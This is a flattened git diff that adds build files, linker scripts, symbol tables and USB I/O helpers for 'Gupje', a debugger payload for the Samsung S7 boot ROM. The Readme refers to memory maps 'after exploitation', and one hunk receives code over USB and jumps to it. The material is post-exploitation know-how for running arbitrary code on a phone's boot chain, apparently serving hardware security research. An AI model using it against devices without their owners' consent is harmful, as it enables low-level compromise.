if(*(uint8_t *)dref == 1){
|
volatile val = *(volatile uint8_t *)dref;
|
||||||
|
if(val == 1){
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -73,6 +74,10 @@ int main() {
|
|||||||
recv_data(0x2069000 + block, block_sz);
|
recv_data(0x2069000 + block, block_sz);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// clear cache
|
||||||
|
// __asm__ __volatile__("ic iallu\n\t" : : :"memory");
|
||||||
|
// __asm__ __volatile__("ic ialluis\n\t" : : :"memory");
|
||||||
|
|
||||||
// Create function at debugger_location
|
// Create function at debugger_location
|
||||||
void (*custom_func)() = (void*)0x2069000; //mem_off;
|
void (*custom_func)() = (void*)0x2069000; //mem_off;
|
||||||
custom_func();
|
custom_func();
|
||||||
|
0
source/gupje_device/.gitignore
vendored
Normal file
28
source/gupje_device/Makefile
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
ifeq ($(ANDROID_NDK_ROOT),)
|
||||||
|
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
|
||||||
|
endif
|
||||||
|
|
||||||
|
CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang
|
||||||
|
AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar
|
||||||
|
OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy
|
||||||
|
LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
|
||||||
|
|
||||||
|
#==================Target Samsung S7 (8890)==================
|
||||||
|
all: samsung_s7 samsung_s7_reloc
|
||||||
|
|
||||||
|
CFLAGS_SAMSUNGS7 = -Os -Idevices/samsung_s7/
|
||||||
|
samsung_s7:
|
||||||
|
[ -d bin/samsung_s7 ] || mkdir -p bin/samsung_s7/
|
||||||
|
$(CC) arm64_stub.S -c -o bin/samsung_s7/entry.o $(CFLAGS_SAMSUNGS7)
|
||||||
|
$(CC) debugger.c -c -o bin/samsung_s7/debugger.o $(CFLAGS_SAMSUNGS7)
|
||||||
|
$(LD) -T devices/samsung_s7/linkscript.ld bin/samsung_s7/entry.o bin/samsung_s7/debugger.o -o bin/samsung_s7/debugger.elf --just-symbols=devices/samsung_s7/symbols.txt
|
||||||
|
$(OBJCOPY) -O binary bin/samsung_s7/debugger.elf bin/samsung_s7/debugger.bin
|
||||||
|
|
||||||
|
CFLAGS_SAMSUNGS7_RELOC = -Os -DRELOC_DEBUGGER=1 -Idevices/samsung_s7/
|
||||||
|
samsung_s7_reloc:
|
||||||
|
[ -d bin/samsung_s7 ] || mkdir -p bin/samsung_s7/
|
||||||
|
$(CC) arm64_stub.S -c -o bin/samsung_s7/reloc_entry.o $(CFLAGS_SAMSUNGS7_RELOC)
|
||||||
|
$(CC) debugger.c -c -o bin/samsung_s7/reloc_debugger.o $(CFLAGS_SAMSUNGS7_RELOC)
|
||||||
|
$(LD) -T devices/samsung_s7/reloc_linkscript.ld bin/samsung_s7/reloc_entry.o bin/samsung_s7/reloc_debugger.o -o bin/samsung_s7/reloc_debugger.elf --just-symbols=devices/samsung_s7/reloc_symbols.txt
|
||||||
|
$(OBJCOPY) -O binary bin/samsung_s7/reloc_debugger.elf bin/samsung_s7/reloc_debugger.bin
|
||||||
|
|
17
source/gupje_device/Readme.md
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
# Gupje
|
||||||
|
Current memory map:
|
||||||
|
|
||||||
|
## Stage 2
|
||||||
|
Memory map in stage2 after exploitation
|
||||||
|
![memory map](memory_map.drawio.svg)
|
||||||
|
|
||||||
|
## Stage 3
|
||||||
|
Memory map in stage3 after relocating the debugger
|
||||||
|
|
||||||
|
|
||||||
|
## Usage:
|
||||||
|
Copy this folder to <gupje>/devices/samsung_s7 and run:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make -f devices/samsung_s7/Makefile
|
||||||
|
```
|
92
source/gupje_device/device.h
Normal file
@ -0,0 +1,92 @@
|
|||||||
|
#include <stdint.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
// Create external function at 0x00006f88
|
||||||
|
extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer);
|
||||||
|
extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len);
|
||||||
|
extern int usb_event_handler(void);
|
||||||
|
extern uint32_t get_endpoint_recv_buffer(char endpoint);
|
||||||
|
extern void exynos_sleep(int endpoint,uint32_t timeout);
|
||||||
|
extern void usb_send(uint32_t address,uint32_t size);
|
||||||
|
extern uint32_t recv_buffer;
|
||||||
|
extern uint32_t data_received;
|
||||||
|
|
||||||
|
int mystrlen(char *data) {
|
||||||
|
int i=0;
|
||||||
|
while(1) {
|
||||||
|
if(data[i++] == '\0'){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return i-1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef RELOC_DEBUGGER
|
||||||
|
#define recv_buffer 0x020c6200
|
||||||
|
#define data_received 0x020c6000
|
||||||
|
#else
|
||||||
|
#define recv_buffer 0x206fe00 //0x02021800 + 0x3000
|
||||||
|
#define data_received 0x206fd00
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void recv_data_cb(uint32_t endpoint, uint32_t len){
|
||||||
|
char *dest_buf = (char *)recv_buffer;
|
||||||
|
volatile void *dref = (void *)data_received;
|
||||||
|
|
||||||
|
void *rbuf = get_endpoint_recv_buffer(endpoint);
|
||||||
|
for(int i= 0; i < len; i++){
|
||||||
|
dest_buf[i] = *(char *)(void *)((int)rbuf + i);
|
||||||
|
}
|
||||||
|
*(uint8_t *)dref = 1; // Mark as ready
|
||||||
|
}
|
||||||
|
|
||||||
|
void recv_data(void *address, uint32_t size){
|
||||||
|
//
|
||||||
|
volatile void *dref = (void *)data_received;
|
||||||
|
*(uint8_t *)dref = 0;
|
||||||
|
|
||||||
|
maybe_usb_setup_read(2, recv_data_cb, size);
|
||||||
|
uint32_t rbuf = get_endpoint_recv_buffer(2);
|
||||||
|
dwc3_ep0_start_trans(2, rbuf, size);
|
||||||
|
while(1){
|
||||||
|
usb_event_handler();
|
||||||
|
if(*(uint8_t *)dref == 1){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
// exynos_sleep(2, 1000);
|
||||||
|
}
|
||||||
|
// Copy to destination location
|
||||||
|
char *dest_buf = (uint64_t)address;
|
||||||
|
for(int i= 0; i < size; i++){
|
||||||
|
dest_buf[i] = *(char *)(void *)((int)recv_buffer + i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void send_data_cb(uint32_t endpoint, uint32_t len){
|
||||||
|
// Tell event handler that the data was received
|
||||||
|
volatile void *dref = (void *)data_received;
|
||||||
|
*(uint8_t *)dref = 1; // Mark as ready
|
||||||
|
}
|
||||||
|
|
||||||
|
void send(void *address, uint32_t size, uint32_t *error){
|
||||||
|
volatile void *dref = (void *)data_received;
|
||||||
|
*(uint8_t *)dref = 0;
|
||||||
|
maybe_usb_setup_read(0x1, send_data_cb, size);
|
||||||
|
// uint32_t rbuf = get_endpoint_recv_buffer(1);
|
||||||
|
dwc3_ep0_start_trans(1, (uint64_t)address, size);
|
||||||
|
while(1){
|
||||||
|
usb_event_handler();
|
||||||
|
if(*(uint8_t *)dref == 1){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
// exynos_sleep(1, 1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void usb_log(char * msg, uint32_t * error){
|
||||||
|
send(msg, mystrlen(msg), error);
|
||||||
|
}
|
||||||
|
|
||||||
|
void concrete_main(uint64_t debugger){
|
||||||
|
|
||||||
|
}
|
14
source/gupje_device/linkscript.ld
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
MEMORY {
|
||||||
|
ROM (rwx): ORIGIN = 0x2069000, LENGTH = 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
SECTIONS
|
||||||
|
{
|
||||||
|
. = 0x2069000;
|
||||||
|
.text . : {
|
||||||
|
*(.text*)
|
||||||
|
*(.data*)
|
||||||
|
*(.rodata*)
|
||||||
|
} >ROM
|
||||||
|
|
||||||
|
}
|
1
source/gupje_device/memory_map.drawio.svg
Normal file
After Width: | Height: | Size: 9.7 KiB |
14
source/gupje_device/reloc_linkscript.ld
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
MEMORY {
|
||||||
|
ROM (rwx): ORIGIN = 0x020c0000, LENGTH = 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
SECTIONS
|
||||||
|
{
|
||||||
|
. = 0x020c0000;
|
||||||
|
.text . : {
|
||||||
|
*(.text*)
|
||||||
|
*(.data*)
|
||||||
|
*(.rodata*)
|
||||||
|
} >ROM
|
||||||
|
|
||||||
|
}
|
12
source/gupje_device/reloc_symbols.txt
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
debugger_storage = 0x020c4000;
|
||||||
|
debugger_stack = 0x020c2000;
|
||||||
|
debugger_entry = 0x020c0000;
|
||||||
|
|
||||||
|
maybe_usb_setup_read = 0x00006f88;
|
||||||
|
dwc3_ep0_start_trans = 0x0000791c;
|
||||||
|
usb_event_handler = 0x00007bac;
|
||||||
|
get_endpoint_recv_buffer = 0x00007a7c;
|
||||||
|
exynos_sleep = 0x000027c8;
|
||||||
|
|
||||||
|
g_recv_buffer = 0x020c6200;
|
||||||
|
g_data_received = 0x020c6000;
|
11
source/gupje_device/symbols.txt
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
debugger_storage = 0x206d000;
|
||||||
|
debugger_stack = 0x206b000;
|
||||||
|
debugger_entry = 0x2069000;
|
||||||
|
|
||||||
|
maybe_usb_setup_read = 0x00006f88;
|
||||||
|
dwc3_ep0_start_trans = 0x0000791c;
|
||||||
|
usb_event_handler = 0x00007bac;
|
||||||
|
get_endpoint_recv_buffer = 0x00007a7c;
|
||||||
|
exynos_sleep = 0x000027c8;
|
||||||
|
|
||||||
|
RELOCATED = 0;
|